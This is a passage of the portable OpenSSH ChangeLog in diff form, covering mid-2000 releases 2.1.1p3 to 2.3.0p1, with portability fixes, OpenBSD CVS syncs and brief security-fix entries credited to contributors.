warnings + - (djm) Fix vsprintf("%h") in bsd-snprintf.c, short int va_args are + promoted to type int. Report and fix from Dan Astoorian + + - (djm) Hardwire sysconfdir in RPM spec files as some RPM versions get + it wrong. Report from Bennett Todd + +20001110 + - (bal) Fixed dropped answer from skey_keyinfo() in auth1.c + - (bal) Changed from --with-skey to --with-skey=PATH in configure.in + - (bal) Added in check to verify S/Key library is being detected in + configure.in + - (bal) next-posix.h - added another prototype wrapped in POSIX ifdef/endif. + Patch by Mark Miller + - (bal) Added 'util.h' header to loginrec.c only if HAVE_UTIL_H is defined + to remove warnings under MacOS X. Patch by Mark Miller + - (bal) Fixed LDFLAG mispelling in configure.in for --with-afs + +20001107 + - (bal) acconfig.in - removed the double "USE_PIPES" entry. Patch by + Mark Miller + - (bal) sshd.init files corrected to assign $? to RETVAL. Patch by + Jarno Huuskonen + - (bal) fixpaths fixed to stop it from quitely failing. Patch by + Mark D. Roth + +20001106 + - (djm) Use Jim's new 1.0.3 askpass in Redhat RPMs + - (djm) Manually fix up missed diff hunks (mainly RCS idents) + - (djm) Remove UPGRADING document in favour of a link to the better + maintained FAQ on www.openssh.com + - (djm) Fix multiple dependancy on gnome-libs from Pekka Savola + + - (djm) Don't need X11-askpass in RPM spec file if building without it + from Pekka Savola + - (djm) Release 2.3.0p1 + - (bal) typo in configure.in in regards to --with-ldflags from Marko + Asplund + - (bal) fixed next-posix.h. Forgot prototype of getppid(). + +20001105 + - (bal) Sync with OpenBSD: + - markus@cvs.openbsd.org 2000/10/31 9:31:58 + [compat.c] + handle all old openssh versions + - markus@cvs.openbsd.org 2000/10/31 13:1853 + [deattack.c] + so that large packets do not wrap "n"; from netbsd + - (bal) rijndel.c - fix up RCSID to match OpenBSD tree + - (bal) auth2-skey.c - Checked in. Missing from portable tree. + - (bal) Reworked NEWS-OS and NeXT ports to extract waitpid() and + setsid() into more common files + - (stevesk) pty.c: use __hpux to identify HP-UX. + - (bal) Missed auth-skey.o in Makefile.in and minor correction to + bsd-waitpid.c + +20001029 + - (stevesk) Fix typo in auth.c: USE_PAM not PAM + - (stevesk) Create contrib/cygwin/ directory; patch from + Corinna Vinschen + - (bal) Resolved more $xno and $xyes issues in configure.in + - (bal) next-posix.h - spelling and forgot a prototype + +20001028 + - (djm) fix select hack in serverloop.c from Philippe WILLEM + + - (djm) Fix mangled AIXAUTHENTICATE code + - (djm) authctxt->pw may be NULL. Fix from Markus Friedl + + - (djm) Sync with OpenBSD: + - markus@cvs.openbsd.org 2000/10/16 15:46:32 + [ssh.1] + fixes from pekkas@netcore.fi + - markus@cvs.openbsd.org 2000/10/17 14:28:11 + [atomicio.c] + return number of characters processed; ok deraadt@ + - markus@cvs.openbsd.org 2000/10/18 12:04:02 + [atomicio.c] + undo + - markus@cvs.openbsd.org 2000/10/18 12:23:02 + [scp.c] + replace atomicio(read,...) with read(); ok deraadt@ + - markus@cvs.openbsd.org 2000/10/18 12:42:00 + [session.c] + restore old record login behaviour + - deraadt@cvs.openbsd.org 2000/10/19 10:41:13 + [auth-skey.c] + fmt string problem in unused code + - provos@cvs.openbsd.org 2000/10/19 10:45:16 + [sshconnect2.c] + don't reference freed memory. okay deraadt@ + - markus@cvs.openbsd.org 2000/10/21 11:04:23 + [canohost.c] + typo, eramore@era-t.ericsson.se; ok niels@ + - markus@cvs.openbsd.org 2000/10/23 13:31:55 + [cipher.c] + non-alignment dependent swap_bytes(); from + simonb@wasabisystems.com/netbsd + - markus@cvs.openbsd.org 2000/10/26 12:38:28 + [compat.c] + add older vandyke products + - markus@cvs.openbsd.org 2000/10/27 01:32:19 + [channels.c channels.h clientloop.c serverloop.c session.c] + [ssh.c util.c] + enable non-blocking IO on channels, and tty's (except for the + client ttys). + +20001027 + - (djm) Increase REKEY_BYTES to 2^24 for arc4random + +20001025 + - (djm) Added WARNING.RNG file and modified configure to ask users of the + builtin entropy code to read it. + - (djm) Prefer builtin regex to PCRE. + - (bal) Added USE_PIPS defined to NeXT configure.in since scp hangs randomly. + - (bal) Apply fixes to configure.in pointed out by Pavel Roskin + + +20001020 + - (djm) Don't define _REENTRANT for SNI/Reliant Unix + - (bal) Imported NEWS-OS waitpid() macros into NeXT. Since implementation + is more correct then current version. + +20001018 + - (stevesk) Add initial support for setproctitle(). Current + support is for the HP-UX pstat(PSTAT_SETCMD, ...) method. + - (stevesk) Add egd startup scripts to contrib/hpux/ + +20001017 + - (djm) Add -lregex to cywin libs from Corinna Vinschen + + - (djm) Don't rely on atomicio's retval to determine length of askpass + supplied passphrase. Problem report from Lutz Jaenicke + + - (bal) Changed from GNU rx to PCRE on suggestion from djm. + - (bal) Integrated Sony NEWS-OS patches from NAKAJI Hirouyuki + + +20001016 + - (djm) Sync with OpenBSD: + - markus@cvs.openbsd.org 2000/10/14 04:01:15 + [cipher.c] + debug3 + - markus@cvs.openbsd.org 2000/10/14 04:07:23 + [scp.c] + remove spaces from arguments; from djm@mindrot.org + - markus@cvs.openbsd.org 2000/10/14 06:09:46 + [ssh.1] + Cipher is for SSH-1 only + - markus@cvs.openbsd.org 2000/10/14 06:12:09 + [servconf.c servconf.h serverloop.c session.c sshd.8] + AllowTcpForwarding; from naddy@ + - markus@cvs.openbsd.org 2000/10/14 06:16:56 + [auth2.c compat.c compat.h sshconnect2.c version.h] + OpenSSH_2.3; note that is is not complete, but the version number + needs to be changed for interoperability reasons + - markus@cvs.openbsd.org 2000/10/14 06:19:45 + [auth-rsa.c] + do not send RSA challenge if key is not allowed by key-options; from + eivind@ThinkSec.com + - markus@cvs.openbsd.org 2000/10/15 08:14:01 + [rijndael.c session.c] + typos; from stevesk@sweden.hp.com + - markus@cvs.openbsd.org 2000/10/15 08:18:31 + [rijndael.c] + typo + - (djm) Copy manpages back over from OpenBSD - too tedious to wade + through diffs + - (djm) Added condrestart to Redhat init script. Patch from Pekka Savola + + - (djm) Update version in Redhat spec file + - (djm) Merge some of Nalin Dahyabhai changes from the + Redhat 7.0 spec file + - (djm) Make inability to read/write PRNG seedfile non-fatal + + +20001015 + - (djm) Fix ssh2 hang on background processes at logout. + +20001014 + - (bal) Add support for realpath and getcwd for platforms with broken + or missing realpath implementations for sftp-server. + - (bal) Corrected mistake in INSTALL in regards to GNU rx library + - (bal) Add support for GNU rx library for those lacking regexp support + - (djm) Don't accept PAM_PROMPT_ECHO_ON messages during initial auth + - (djm) Revert SSH2 serverloop hack, will find a better way. + - (djm) Add workaround for Linux 2.4's gratuitious errno change. Patch + from Martin Johansson + - (djm) Big OpenBSD sync: + - markus@cvs.openbsd.org 2000/09/30 10:27:44 + [log.c] + allow loglevel debug + - markus@cvs.openbsd.org 2000/10/03 11:59:57 + [packet.c] + hmac->mac + - markus@cvs.openbsd.org 2000/10/03 12:03:03 + [auth-krb4.c auth-passwd.c auth-rh-rsa.c auth-rhosts.c auth-rsa.c auth1.c] + move fake-auth from auth1.c to individual auth methods, disables s/key in + debug-msg + - markus@cvs.openbsd.org 2000/10/03 12:16:48 + ssh.c + do not resolve canonname, i have no idea why this was added oin ossh + - markus@cvs.openbsd.org 2000/10/09 15:30:44 + ssh-keygen.1 ssh-keygen.c + -X now reads private ssh.com DSA keys, too. + - markus@cvs.openbsd.org 2000/10/09 15:32:34 + auth-options.c + clear options on every call. + - markus@cvs.openbsd.org 2000/10/09 15:51:00 + authfd.c authfd.h + interop with ssh-agent2, from + - markus@cvs.openbsd.org 2000/10/10 14:20:45 + compat.c + use rexexp for version string matching + - provos@cvs.openbsd.org 2000/10/10 22:02:18 + [kex.c kex.h myproposal.h ssh.h ssh2.h sshconnect2.c sshd.c dh.c dh.h] + First rough implementation of the diffie-hellman group exchange. The + client can ask the server for bigger groups to perform the diffie-hellman + in, thus increasing the attack complexity when using ciphers with longer + keys. University of Windsor provided network, T the company. + - markus@cvs.openbsd.org 2000/10/11 13:59:52 + [auth-rsa.c auth2.c] + clear auth options unless auth sucessfull + - markus@cvs.openbsd.org 2000/10/11 14:00:27 + [auth-options.h] + clear auth options unless auth sucessfull + - markus@cvs.openbsd.org 2000/10/11 14:03:27 + [scp.1 scp.c] + support 'scp -o' with help from mouring@pconline.com + - markus@cvs.openbsd.org 2000/10/11 14:11:35 + [dh.c] + Wall + - markus@cvs.openbsd.org 2000/10/11 14:14:40 + [auth.h auth2.c readconf.c readconf.h readpass.c servconf.c servconf.h] + [ssh.h sshconnect2.c sshd_config auth2-skey.c cli.c cli.h] + add support for s/key (kbd-interactive) to ssh2, based on work by + mkiernan@avantgo.com and me + - markus@cvs.openbsd.org 2000/10/11 14:27:24 + [auth.c auth1.c auth2.c authfile.c cipher.c cipher.h kex.c kex.h] + [myproposal.h packet.c readconf.c session.c ssh.c ssh.h sshconnect1.c] + [sshconnect2.c sshd.c] + new cipher framework + - markus@cvs.openbsd.org 2000/10/11 14:45:21 + [cipher.c] + remove DES + - markus@cvs.openbsd.org 2000/10/12 03:59:20 + [cipher.c cipher.h sshconnect1.c sshconnect2.c sshd.c] + enable DES in SSH-1 clients only + - markus@cvs.openbsd.org 2000/10/12 08:21:13 + [kex.h packet.c] + remove unused + - markus@cvs.openbsd.org 2000/10/13 12:34:46 + [sshd.c] + Kludge for F-Secure Macintosh < 1.0.2; appro@fy.chalmers.se + - markus@cvs.openbsd.org 2000/10/13 12:59:15 + [cipher.c cipher.h myproposal.h rijndael.c rijndael.h] + rijndael/aes support + - markus@cvs.openbsd.org 2000/10/13 13:10:54 + [sshd.8] + more info about -V + - markus@cvs.openbsd.org 2000/10/13 13:12:02 + [myproposal.h] + prefer no compression + - (djm) Fix scp user@host handling + - (djm) Don't clobber ssh_prng_cmds on install + - (stevesk) Include config.h in rijndael.c so we define intXX_t and + u_intXX_t types on all platforms. + - (stevesk) rijndael.c: cleanup missing declaration warnings. + - (stevesk) ~/.hushlogin shouldn't cause required password change to + be bypassed. + - (stevesk) Display correct path to ssh-askpass in configure output. + Report from Lutz Jaenicke. + +20001007 + - (stevesk) Print PAM return value in PAM log messages to aid + with debugging. + - (stevesk) Fix detection of pw_class struct member in configure; + patch from KAMAHARA Junzo + +20001002 + - (djm) Fix USER_PATH, report from Kevin Steves + - (djm) Add host system and CC to end-of-configure report. Suggested by + Lutz Jaenicke + +20000931 + - (djm) Cygwin fixes from Corinna Vinschen + +20000930 + - (djm) Irix ssh_prng_cmds path fix from Pekka Savola + - (djm) Support in bsd-snprintf.c for long long conversions from + Ben Lindstrom + - (djm) Cleanup NeXT support from Ben Lindstrom + - (djm) Ignore SIGPIPEs from serverloop to child. Fixes crashes with + very short lived X connections. Bug report from Tobias Oetiker + . Fix from Markus Friedl + - (djm) Add recent InitScripts as a RPM dependancy for openssh-server + patch from Pekka Savola + - (djm) Forgot to cvs add LICENSE file + - (djm) Add LICENSE to RPM spec files + - (djm) CVS OpenBSD sync: + - markus@cvs.openbsd.org 2000/09/26 13:59:59 + [clientloop.c] + use debug2 + - markus@cvs.openbsd.org 2000/09/27 15:41:34 + [auth2.c sshconnect2.c] + use key_type() + - markus@cvs.openbsd.org 2000/09/28 12:03:18 + [channels.c] + debug -> debug2 cleanup + - (djm) Irix strips "/dev/tty" from [uw]tmp entries (other systems only + strip "/dev/"). Fix loginrec.c based on patch from Alain St-Denis + + - (djm) Fix 9 character passphrase failure with gnome-ssh-askpass. + Problem was caused by interrupted read in ssh-add. Report from Donald + J. Barry + +20000929 + - (djm) Fix SSH2 not terminating until all background tasks done problem. + - (djm) Another off-by-one fix from Pavel Kankovsky + + - (djm) Clean up. Strip some unnecessary differences with OpenBSD's code, + tidy necessary differences. Use Markus' new debugN() in entropy.c + - (djm) Merged big SCO portability patch from Tim Rice + + +20000926 + - (djm) Update X11-askpass to 1.0.2 in RPM spec file + - (djm) Define _REENTRANT to pickup strtok_r() on HP/UX + - (djm) Security: fix off-by-one buffer overrun in fake-getnameinfo.c. + Report and fix from Pavel Kankovsky + +20000924 + - (djm) Merged cleanup patch from Mark Miller + - (djm) A bit more cleanup - created cygwin_util.h + - (djm) Include strtok_r() from OpenBSD libc. Fixes report from Mark Miller + + +20000923 + - (djm) Fix address logging in utmp from Kevin Steves + + - (djm) Redhat spec and manpage fixes from Pekka Savola + - (djm) Seperate tests for int64_t and u_int64_t types + - (djm) Tweak password expiry checking at suggestion of Kevin Steves + + - (djm) NeXT patch from Ben Lindstrom + - (djm) Use printf %lld instead of %qd in sftp-server.c. Fix from + Michael Stone + - (djm) OpenBSD CVS sync: + - markus@cvs.openbsd.org 2000/09/17 09:38:59 + [sshconnect2.c sshd.c] + fix DEBUG_KEXDH + - markus@cvs.openbsd.org 2000/09/17 09:52:51 + [sshconnect.c] + yes no; ok niels@ + - markus@cvs.openbsd.org 2000/09/21 04:55:11 + [sshd.8] + typo + - markus@cvs.openbsd.org 2000/09/21 05:03:54 + [serverloop.c] + typo + - markus@cvs.openbsd.org 2000/09/21 05:11:42 + scp.c + utime() to utimes(); mouring@pconline.com + - markus@cvs.openbsd.org 2000/09/21 05:25:08 + sshconnect2.c + change login logic in ssh2, allows plugin of other auth methods + - markus@cvs.openbsd.org 2000/09/21 05:25:35 + [auth2.c channels.c channels.h clientloop.c dispatch.c dispatch.h] + [serverloop.c] + add context to dispatch_run + - markus@cvs.openbsd.org 2000/09/21 05:07:52 + authfd.c authfd.h ssh-agent.c + bug compat for old ssh.com software + +20000920 + - (djm) Fix bad path substitution. Report from Andrew Miner + + +20000916 + - (djm) Fix SSL search order from Lutz Jaenicke + + - (djm) New SuSE spec from Corinna Vinschen + - (djm) Update CygWin support from Corinna Vinschen + - (djm) Use a real struct sockaddr inside the fake struct sockaddr_storage. + Patch from Larry Jones + - (djm) Add Steve VanDevender's PAM + password change patch. + - (djm) Bring licenses on my stuff in line with OpenBSD's + - (djm) Cleanup auth-passwd.c and unify HP/UX authentication. Patch from + Kevin Steves + - (djm) Shadow expiry check fix from Pavel Troller + - (djm) Re-enable int64_t types - we need them for sftp + - (djm) Use libexecdir from configure , rather than libexecdir/ssh + - (djm) Update Redhat SPEC file accordingly + - (djm) Add Kevin Steves HP/UX contrib files + - (djm) Add Charles Levert getpgrp patch + - (djm) Fix password auth on HP/UX 10.20. Patch from Dirk De Wachter + + - (djm) Fixprogs and entropy list fixes from Larry Jones + + - (djm) Fix for SuSE spec file from Takashi YOSHIDA + + - (djm) Merge OpenBSD changes: + - markus@cvs.openbsd.org 2000/09/05 02:59:57 + [session.c] + print hostname (not hushlogin) + - markus@cvs.openbsd.org 2000/09/05 13:18:48 + [authfile.c ssh-add.c] + enable ssh-add -d for DSA keys + - markus@cvs.openbsd.org 2000/09/05 13:20:49 + [sftp-server.c] + cleanup + - markus@cvs.openbsd.org 2000/09/06 03:46:41 + [authfile.h] + prototype + - deraadt@cvs.openbsd.org 2000/09/07 14:27:56 + [ALL] + cleanup copyright notices on all files. I have attempted to be + accurate with the details. everything is now under Tatu's licence + (which I copied from his readme), and/or the core-sdi bsd-ish thing + for deattack, or various openbsd developers under a 2-term bsd + licence. We're not changing any rules, just being accurate. + - markus@cvs.openbsd.org 2000/09/07 14:40:30 + [channels.c channels.h clientloop.c serverloop.c ssh.c] + cleanup window and packet sizes for ssh2 flow control; ok niels + - markus@cvs.openbsd.org 2000/09/07 14:53:00 + [scp.c] + typo + - markus@cvs.openbsd.org 2000/09/07 15:13:37 + [auth-options.c auth-options.h auth-rh-rsa.c auth-rsa.c auth.c] + [authfile.h canohost.c channels.h compat.c hostfile.h log.c match.h] + [pty.c readconf.c] + some more Copyright fixes + - markus@cvs.openbsd.org 2000/09/08 03:02:51 + [README.openssh2] + bye bye + - deraadt@cvs.openbsd.org 2000/09/11 18:38:33 + [LICENCE cipher.c] + a few more comments about it being ARC4 not RC4 + - markus@cvs.openbsd.org 2000/09/12 14:53:11 + [log-client.c log-server.c log.c ssh.1 ssh.c ssh.h sshd.8 sshd.c] + multiple debug levels + - markus@cvs.openbsd.org 2000/09/14 14:25:15 + [clientloop.c] + typo + - deraadt@cvs.openbsd.org 2000/09/15 01:13:51 + [ssh-agent.c] + check return value for setenv(3) for failure, and deal appropriately + +20000913 + - (djm) Fix server not exiting with jobs in background. + +20000905 + - (djm) Import OpenBSD CVS changes + - markus@cvs.openbsd.org 2000/08/31 15:52:24 + [Makefile sshd.8 sshd_config sftp-server.8 sftp-server.c] + implement a SFTP server. interops with sftp2, scp2 and the windows + client from ssh.com + - markus@cvs.openbsd.org 2000/08/31 15:56:03 + [README.openssh2] + sync + - markus@cvs.openbsd.org 2000/08/31 16:05:42 + [session.c] + Wall + - markus@cvs.openbsd.org 2000/08/31 16:09:34 + [authfd.c ssh-agent.c] + add a flag to SSH2_AGENTC_SIGN_REQUEST for future extensions + - deraadt@cvs.openbsd.org 2000/09/01 09:25:13 + [scp.1 scp.c] + cleanup and fix -S support; stevesk@sweden.hp.com + - markus@cvs.openbsd.org 2000/09/01 16:29:32 + [sftp-server.c] + portability fixes + - markus@cvs.openbsd.org 2000/09/01 16:32:41 + [sftp-server.c] + fix cast; mouring@pconline.com + - itojun@cvs.openbsd.org 2000/09/03 09:23:28 + [ssh-add.1 ssh.1] + add missing .El against .Bl. + - markus@cvs.openbsd.org 2000/09/04 13:03:41 + [session.c] + missing close; ok theo + - markus@cvs.openbsd.org 2000/09/04 13:07:21 + [session.c] + fix get_last_login_time order; from andre@van-veen.de + - markus@cvs.openbsd.org 2000/09/04 13:10:09 + [sftp-server.c] + more cast fixes; from mouring@pconline.com + - markus@cvs.openbsd.org 2000/09/04 13:06:04 + [session.c] + set SSH_ORIGINAL_COMMAND; from Leakin@dfw.nostrum.com, bet@rahul.net + - (djm) Cleanup after import. Fix sftp-server compilation, Makefile + - (djm) Merge cygwin support from Corinna Vinschen + +20000903 + - (djm) Fix Redhat init script + +20000901 + - (djm) Pick up Jim's new X11-askpass + - (djm) Release 2.2.0p1 + +20000831 + - (djm) Workaround SIGPIPE problems on SCO. Fix from Aran Cox + + - (djm) Pick up new version (2.2.0) from OpenBSD CVS + +20000830 + - (djm) Compile warning fixes from Mark Miller + - (djm) Periodically rekey arc4random + - (djm) Clean up diff against OpenBSD. + - (djm) HPUX 11 needs USE_PIPES as well: Kevin Steves + + - (djm) Quieten the pam delete credentials error message + - (djm) Fix printing of $DISPLAY hack if set by system type. Report from + Kevin Steves + - (djm) NeXT patch from Ben Lindstrom + - (djm) Fix doh in bsd-arc4random.c + +20000829 + - (djm) Fix ^C ignored issue on Solaris. Diagnosis from Gert + Doering , John Horne and + Garrick James + - (djm) Check for SCO pty naming style (ptyp%d/ttyp%d). Based on fix from + Bastian Trompetter + - (djm) NeXT tweaks from Ben Lindstrom + - More OpenBSD updates: + - deraadt@cvs.openbsd.org 2000/08/24 15:46:59 + [scp.c] + off_t in sink, to fix files > 2GB, i think, test is still running ;-) + - deraadt@cvs.openbsd.org 2000/08/25 10:10:06 + [session.c] + Wall + - markus@cvs.openbsd.org 2000/08/26 04:33:43 + [compat.c] + ssh.com-2.3.0 + - markus@cvs.openbsd.org 2000/08/27 12:18:05 + [compat.c] + compatibility with future ssh.com versions + - deraadt@cvs.openbsd.org 2000/08/27 21:50:55 + [auth-krb4.c session.c ssh-add.c sshconnect.c uidswap.c] + print uid/gid as unsigned + - markus@cvs.openbsd.org 2000/08/28 13:51:00 + [ssh.c] + enable -n and -f for ssh2 + - markus@cvs.openbsd.org 2000/08/28 14:19:53 + [ssh.c] + allow combination of -N and -f + - markus@cvs.openbsd.org 2000/08/28 14:20:56 + [util.c] + util.c + - markus@cvs.openbsd.org 2000/08/28 14:22:02 + [util.c] + undo + - markus@cvs.openbsd.org 2000/08/28 14:23:38 + [util.c] + don't complain if setting NONBLOCK fails with ENODEV + +20000823 + - (djm) Define USE_PIPES to avoid socketpair problems on HPUX 10 and SunOS 4 + Avoids "scp never exits" problem. Reports from Lutz Jaenicke + and Tamito KAJIYAMA + + - (djm) Pick up LOGIN_PROGRAM from environment or PATH if not set by headers + - (djm) Add local version to version.h + - (djm) Don't reseed arc4random everytime it is used + - (djm) OpenBSD CVS updates: + - deraadt@cvs.openbsd.org 2000/08/18 20:07:23 + [ssh.c] + accept remsh as a valid name as well; roman@buildpoint.com + - deraadt@cvs.openbsd.org 2000/08/18 20:17:13 + [deattack.c crc32.c packet.c] + rename crc32() to ssh_crc32() to avoid zlib name clash. do not move to + libz crc32 function yet, because it has ugly "long"'s in it; + oneill@cs.sfu.ca + - deraadt@cvs.openbsd.org 2000/08/18 20:26:08 + [scp.1 scp.c] + -S prog support; tv@debian.org + - deraadt@cvs.openbsd.org 2000/08/18 20:50:07 + [scp.c] + knf + - deraadt@cvs.openbsd.org 2000/08/18 20:57:33 + [log-client.c] + shorten + - markus@cvs.openbsd.org 2000/08/19 12:48:11 + [channels.c channels.h clientloop.c ssh.c ssh.h] + support for ~. in ssh2 + - deraadt@cvs.openbsd.org 2000/08/19 15:29:40 + [crc32.h] + proper prototype + - markus@cvs.openbsd.org 2000/08/19 15:34:44 + [authfd.c authfd.h key.c key.h ssh-add.1 ssh-add.c ssh-agent.1] + [ssh-agent.c ssh-keygen.c sshconnect1.c sshconnect2.c Makefile] + [fingerprint.c fingerprint.h] + add SSH2/DSA support to the agent and some other DSA related cleanups. + (note that we cannot talk to ssh.com's ssh2 agents) + - markus@cvs.openbsd.org 2000/08/19 15:55:52 + [channels.c channels.h clientloop.c] + more ~ support for ssh2 + - markus@cvs.openbsd.org 2000/08/19 16:21:19 + [clientloop.c] + oops + - millert@cvs.openbsd.org 2000/08/20 12:25:53 + [session.c] + We have to stash the result of get_remote_name_or_ip() before we + close our socket or getpeername() will get EBADF and the process + will exit. Only a problem for "UseLogin yes". + - millert@cvs.openbsd.org 2000/08/20 12:30:59 + [session.c] + Only check /etc/nologin if "UseLogin no" since login(1) may have its + own policy on determining who is allowed to login when /etc/nologin + is present. Also use the _PATH_NOLOGIN define. + - millert@cvs.openbsd.org 2000/08/20 12:42:43 + [auth1.c auth2.c session.c ssh.c] + Add calls to setusercontext() and login_get*(). We basically call + setusercontext() in most places where previously we did a setlogin(). + Add default login.conf file and put root in the "daemon" login class. + - millert@cvs.openbsd.org 2000/08/21 10:23:31 + [session.c] + Fix incorrect PATH setting; noted by Markus. + +20000818 + - (djm) OpenBSD CVS changes: + - markus@cvs.openbsd.org 2000/07/22 03:14:37 + [servconf.c servconf.h sshd.8 sshd.c sshd_config] + random early drop; ok theo, niels + - deraadt@cvs.openbsd.org 2000/07/26 11:46:51 + [ssh.1] + typo + - deraadt@cvs.openbsd.org 2000/08/01 11:46:11 + [sshd.8] + many fixes from pepper@mail.reppep.com + - provos@cvs.openbsd.org 2000/08/01 13:01:42 + [Makefile.in util.c aux.c] + rename aux.c to util.c to help with cygwin port + - deraadt@cvs.openbsd.org 2000/08/02 00:23:31 + [authfd.c] + correct sun_len; Alexander@Leidinger.net + - provos@cvs.openbsd.org 2000/08/02 10:27:17 + [readconf.c sshd.8] + disable kerberos authentication by default + - provos@cvs.openbsd.org 2000/08/02 11:27:05 + [sshd.8 readconf.c auth-krb4.c] + disallow kerberos authentication if we can't verify the TGT; from + dugsong@ + kerberos authentication is on by default only if you have a srvtab. + - markus@cvs.openbsd.org 2000/08/04 14:30:07 + [auth.c] + unused + - markus@cvs.openbsd.org 2000/08/04 14:30:35 + [sshd_config] + MaxStartups + - markus@cvs.openbsd.org 2000/08/15 13:20:46 + [authfd.c] + cleanup; ok niels@ + - markus@cvs.openbsd.org 2000/08/17 14:05:10 + [session.c] + cleanup login(1)-like jobs, no duplicate utmp entries + - markus@cvs.openbsd.org 2000/08/17 14:06:34 + [session.c sshd.8 sshd.c] + sshd -u len, similar to telnetd + - (djm) Lastlog was not getting closed after writing login entry + - (djm) Add Solaris package support from Rip Loomis + +20000816 + - (djm) Replacement for inet_ntoa for Irix (which breaks on gcc) + - (djm) Fix strerror replacement for old SunOS. Based on patch from + Charles Levert + - (djm) Seperate arc4random into seperate file and use OpenSSL's RC4 + implementation. + - (djm) SUN_LEN macro for systems which lack it + +20000815 + - (djm) More SunOS 4.1.x fixes from Nate Itkin + - (djm) Avoid failures on Irix when ssh is not setuid. Fix from + Michael Stone + - (djm) Don't seek in directory based lastlogs + - (djm) Fix --with-ipaddr-display configure option test. Patch from + Jarno Huuskonen + - (djm) Fix AIX limits from Alexandre Oliva + +20000813 + - (djm) Add $(srcdir) to includes when compiling (for VPATH). Report from + Fabrice bacchella + +20000809 + - (djm) Define AIX hard limits if headers don't. Report from + Bill Painter + - (djm) utmp direct write & SunOS 4 patch from Charles Levert + + +20000808 + - (djm) Cleanup Redhat RPMs. Generate keys at runtime rather than install + time, spec file cleanup. + +20000807 + - (djm) Set 0755 on binaries during install. Report from Lutz Jaenicke + - (djm) Suppress error messages on channel close shutdown() failurs + works around Linux bug. Patch from Zack Weinberg + - (djm) Add some more entropy collection commands from Lutz Jaenicke + +20000725 + - (djm) Fix autoconf typo: HAVE_BINRESVPORT_AF -> HAVE_BINDRESVPORT_AF + +20000721 + - (djm) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/07/16 02:27:22 + [authfd.c authfd.h channels.c clientloop.c ssh-add.c ssh-agent.c ssh.c] + [sshconnect1.c sshconnect2.c] + make ssh-add accept dsa keys (the agent does not) + - djm@cvs.openbsd.org 2000/07/17 19:25:02 + [sshd.c] + Another closing of stdin; ok deraadt + - markus@cvs.openbsd.org 2000/07/19 18:33:12 + [dsa.c] + missing free, reorder + - markus@cvs.openbsd.org 2000/07/20 16:23:14 + [ssh-keygen.1] + document input and output files + +20000720 + - (djm) Spec file fix from Petr Novotny + +20000716 + - (djm) Release 2.1.1p4 + +20000715 + - (djm) OpenBSD CVS updates + - provos@cvs.openbsd.org 2000/07/13 16:53:22 + [aux.c readconf.c servconf.c ssh.h] + allow multiple whitespace but only one '=' between tokens, bug report from + Ralf S. Engelschall but different fix. okay deraadt@ + - provos@cvs.openbsd.org 2000/07/13 17:14:09 + [clientloop.c] + typo; todd@fries.net + - provos@cvs.openbsd.org 2000/07/13 17:19:31 + [scp.c] + close can fail on AFS, report error; from Greg Hudson + - markus@cvs.openbsd.org 2000/07/14 16:59:46 + [readconf.c servconf.c] + allow leading whitespace. ok niels + - djm@cvs.openbsd.org 2000/07/14 22:01:38 + [ssh-keygen.c ssh.c] + Always create ~/.ssh with mode 700; ok Markus + - Fixes for SunOS 4.1.4 from Gordon Atwood + - Include floatingpoint.h for entropy.c + - strerror replacement + +20000712 + - (djm) Remove -lresolve for Reliant Unix + - (djm) OpenBSD CVS Updates: + - deraadt@cvs.openbsd.org 2000/07/11 02:11:34 + [session.c sshd.c ] + make MaxStartups code still work with -d; djm + - deraadt@cvs.openbsd.org 2000/07/11 13:17:45 + [readconf.c ssh_config] + disable FallBackToRsh by default + - (djm) Replace in_addr_t with u_int32_t in bsd-inet_aton.c. Report from + Ben Lindstrom + - (djm) Make building of X11-Askpass and GNOME-Askpass optional in RPM + spec file. + - (djm) Released 2.1.1p3 + +20000711 + - (djm) Fixup for AIX getuserattr() support from Tom Bertelson + + - (djm) ReliantUNIX support from Udo Schweigert + - (djm) NeXT: dirent structures to get scp working from Ben Lindstrom + + - (djm) Fix broken inet_ntoa check and ut_user/ut_name confusion, report + from Jim Watt + - (djm) Replaced bsd-snprintf.c with one from Mutt source tree, it is known + to compile on more platforms (incl NeXT). + - (djm) Added bsd-inet_aton and configure support for NeXT + - (djm) Misc NeXT fixes from Ben Lindstrom + - (djm) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/06/26 03:22:29 + [authfd.c] + cleanup, less cut&paste + - markus@cvs.openbsd.org 2000/06/26 15:59:19 + [servconf.c servconf.h session.c sshd.8 sshd.c] + MaxStartups: limit number of unauthenticated connections, work by + theo and me + - deraadt@cvs.openbsd.org 2000/07/05 14:18:07 + [session.c] + use no_x11_forwarding_flag correctly; provos ok + - provos@cvs.openbsd.org 2000/07/05 15:35:57 + [sshd.c] + typo + - aaron@cvs.openbsd.org 2000/07/05 22:06:58 + [scp.1 ssh-agent.1 ssh-keygen.1 sshd.8] + Insert more missing .El directives. Our troff really should identify + these and spit out a warning. + - todd@cvs.openbsd.org 2000/07/06 21:55:04 + [auth-rsa.c auth2.c ssh-keygen.c] + clean code is good code + - deraadt@cvs.openbsd.org 2000/07/07 02:14:29 + [serverloop.c] + sense of port forwarding flag test was backwards + - provos@cvs.openbsd.org 2000/07/08 17:17:31 + [compat.c readconf.c] + replace strtok with strsep; from David Young + - deraadt@cvs.openbsd.org 2000/07/08 19:21:15 + [auth.h] + KNF + - ho@cvs.openbsd.org 2000/07/08 19:27:33 + [compat.c readconf.c] + Better conditions for strsep() ending. + - ho@cvs.openbsd.org 2000/07/10 10:27:05 + [readconf.c] + Get the correct message on errors. (niels@ ok) + - ho@cvs.openbsd.org 2000/07/10 10:30:25 + [cipher.c kex.c servconf.c] + strtok() --> strsep(). (niels@ ok) + - (djm) Fix problem with debug mode and MaxStartups + - (djm) Don't generate host keys when $(DESTDIR) is set (e.g. during RPM + builds) + - (djm) Add strsep function from OpenBSD libc for systems that lack it + +20000709 + - (djm) Only enable PAM_TTY kludge for Linux. Problem report from + Kevin Steves + - (djm) Match prototype and function declaration for rresvport_af. + Problem report from Niklas Edmundsson + - (djm) Missing $(DESTDIR) on host-key target causing problems with RPM + builds. Problem report from Gregory Leblanc + - (djm) Replace ut_name with ut_user. Patch from Jim Watt + + - (djm) Fix pam sprintf fix + - (djm) Cleanup entropy collection code a little more. Split initialisation + from seeding, perform intialisation immediatly at start, be careful with + uids. Based on problem report from Jim Watt + - (djm) More NeXT compatibility from Ben Lindstrom + Including sigaction() et al. replacements + - (djm) AIX getuserattr() session initialisation from Tom Bertelson + + +20000708 + - (djm) Fix bad fprintf format handling in auth-pam.c. Patch from + Aaron Hopkins + 